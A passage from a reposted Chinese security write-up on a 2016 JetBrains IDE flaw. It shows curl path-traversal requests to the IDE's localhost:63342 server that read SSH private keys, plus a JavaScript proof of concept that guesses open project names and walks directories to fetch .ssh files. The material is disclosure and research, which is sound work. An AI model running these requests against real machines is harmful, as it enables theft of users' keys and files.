IT学习网 - 爱学习 - 最具影响力综合资讯网站 -- 中国IT界的领航者!
热门关键字:      88888  as  xxx
站外
广告
站外
广告

JetBrains IDE 远程代码执行和本地文件泄露 - 安全客 - 有思想的安全新媒体(3)

发布时间:2016-08-19 08:52文章来源:网络整理文章作者: 学习网点击次数:
$curl-vhttp://localhost:63342/testing/..%2f..%2f.ssh/id_rsaGET/testing/..%2f..%2f.ssh/id_rsaHTTP/1.1[...]HTTP/1.1200OKcontent-type:application/octet-streamserver:PyCharm5.0.4[...]ssh-rsaAAAAB3NzaC[..

$ curl -v "http://localhost:63342/testing/..%2f..%2f.ssh/id_rsa"
> GET /testing/..%2f..%2f.ssh/id_rsa HTTP/1.1
[...]
> 
< HTTP/1.1 200 OK
< content-type: application/octet-stream
< server: PyCharm 5.0.4
[...]
< 
ssh-rsa AAAAB3NzaC[...]


接下来唯一的限制就是必须要知道受害者的项目名称。最明显的选择就是使用词典中存在的潜在项目名(用户可能已经打开),并尝试请求/<potential_projectname>/.idea/workspace.xml。

$ curl --head "http://localhost:63342/testing/.idea/workspace.xml"
HTTP/1.1 200 OK
$ curl --head "http://localhost:63342/somethingelse/.idea/workspace.xml"
HTTP/1.1 404 Not Found

下面是JavaScript中一个原始的PoC:

function findLoadedProject(cb) {
  var xhr = new XMLHttpRequest();
  // Let's assume we have a sensible dictionary here.
  var possibleProjectNames = ["foobar", "testing", "bazquux"];
  var tryNextProject = function() {
    if (!possibleProjectNames.length) {
      cb(null);
      return;
    }
    var projectName = possibleProjectNames.pop();
    xhr.open("GET", "http://localhost:63342/" + projectName + "/.idea/workspace.xml", true);
    xhr.onload = function() {
      if(xhr.status === 200) {
        cb(projectName);
      } else {
        tryNextProject();
      }
    };
    xhr.send();
  };
}
 
var findSSHKeys = function(projectName) {
  var xhr = new XMLHttpRequest();
  var depth = 0;
  var tryNextDepth = function() {
    // No luck, SSH directory doesn't share a parent
    // directory with the project.
    if(++depth > 15) {
      return;
    }
    // Chances are that both `.ssh` and the project directory are under the user's home folder,
    // let's try to walk up the dir tree.
    dotSegs = "..%2f".repeat(depth);
    xhr.open("GET", "http://localhost:63342/" + projectName + "/" + dotSegs + ".ssh/id_rsa.pub", true);
    xhr.onload = function() {
      if (xhr.status === 200) {
        console.log(xhr.responseText);
      } else {
        tryNextDepth();
      }
    };
    xhr.send();
  }
};
 
findLoadedProject(function(projectName) {
  if(projectName) {
    console.log(projectName, "is a valid project, looking for SSH key");
    findSSHKeys(projectName);
  } else {
    console.log("Failed to guess a project name");
  }
});


可以避开项目名称猜测吗?


必须要猜测出准确的项目名称这一点大大的缓冲了文件泄露的灾害性,但是API可能会解决这一问题。

最后我发现了JetBrainsProtocolHandlerHttpService对应的/api/internal 端口。显然这个端口可以在JSON blob中传送一个含有jetbrains: 的URL。

  / / <project_name> /open/ <path>处理程序似乎可以发现一些问题:


JetBrains IDE 远程代码执行和本地文件泄露 - 安全客 - 有思想的安全新媒体(3)
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:http://www.ourlove520.com/Article/others/jiami/411978.html

标签分类:

JetBrain
上一篇:上一篇:使用EVENTVWR.EXE和注册表劫持实现“无文件”UAC绕过 - 安全客 - 有思想的安全新媒体
下一篇: 下一篇:Address Sanitizer in macOS - 安全客 - 有思想的安全新媒体
无觅关联推荐,快速提升流量